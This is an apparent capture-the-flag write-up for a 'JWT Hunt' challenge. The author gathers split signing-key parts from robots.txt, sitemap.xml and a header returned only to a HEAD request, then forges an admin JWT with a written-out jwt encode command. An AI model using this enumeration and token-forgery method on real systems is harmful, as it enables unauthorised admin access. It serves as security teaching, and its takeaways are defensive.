0x00 – Prologue #
I like JWT bugs. They’re like puzzles where you know someone somewhere made a careless design call, and you just have to figure out where the glue fell apart. In this one, the challenge was called “JWT Hunt” and it lived up to the name. Turns out the devs had split the signing key into four parts and sprinkled them around the site like cryptographic breadcrumbs.
A few hours later, I was forging admin tokens like I owned the backend. Let’s get into it.
0x01 – Reconnaissance #
First up, I hit the site and did what any sane person would: popped open DevTools and opened robots.txt.
Boom:
/User-agent: *
/secret-key-1.txt
/hidden-directory/
/sitemap.xml
Visiting /secret-key-1.txt directly:
IRONCTF{part1_xxxxxxxx}
Inside /sitemap.xml:
<url>
<loc>https://ironctf.io/hidden-directory/secret-key-2.txt</loc>
</url>
Sure enough:
IRONCTF{part2_yyyyyyyy}
Then within that hidden-directory, another file was just sitting around:
IRONCTF{part3_zzzzzzzz}
Okay. So far so good. 3 parts of the key just laying around. But something was still missing. There had to be a fourth piece.
0x02 – The Fourth Piece #
Now here’s where things got annoying. Trying to access /final-key-piece.txt gave:
400 Bad Request
Regular GET requests failed. But when I used a HEAD request:
curl -I https://ironctf.io/final-key-piece.txt
I got back a 200 OK. Which was strange. So I used Burp Suite to replay with a HEAD, and sure enough, the headers showed:
X-Key-Part: IRONCTF{part4_aaaaaaaa}
It wasn’t even in the body. It was a custom header.
Sneaky. But now I had all four segments:
part1_xxxxxxxx
part2_yyyyyyyy
part3_zzzzzzzz
part4_aaaaaaaa
I stitched them together manually:
secret = "xxxxxxxxyyyyyyyyzzzzzzzzaaaaaaaa"
0x03 – Cracking the JWT #
Now I grabbed my session token:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....
And decoded it:
{
"user": "guest",
"admin": false
}
Standard HMAC-SHA256 signed JWT. I plugged the reconstructed key into jwt.io and tried verifying the signature. It worked. Signature verified.
Now it was time to forge:
{
"user": "admin",
"admin": true
}
Resigned with the key:
jwt encode --secret xxxxxxxx... --alg HS256 '{"user":"admin","admin":true}'
Copied that into my Authorization header.
Refreshed the page…
0x04 – Flag #
Immediately redirected to /admin:
Welcome back, admin.
Flag: ironCTF{W0w_U_R34lly_Kn0w_4_L07_Ab0ut_JWT_3xp10r4710n!}
0x05 – Tools Used #
- curl / Burp Suite / HTTPie
- jwt.io and
jsonwebtokenin Node.js - Bash one-liners and grep
- Chrome DevTools
0x06 – Takeaways #
robots.txtandsitemap.xmlcan be goldmines- HTTP headers like
X-*can leak secrets - Don’t split secret keys and expect them to stay secret
- Always try HEAD if GET fails
- If you can verify a JWT, you can likely forge it
0x07 – Final Thoughts #
This was fun because it chained together a bunch of small things: endpoint enumeration, HTTP method abuse, and token forgery. And every piece was just… lying around.
Sometimes, the real vuln is just devs thinking obscurity equals security.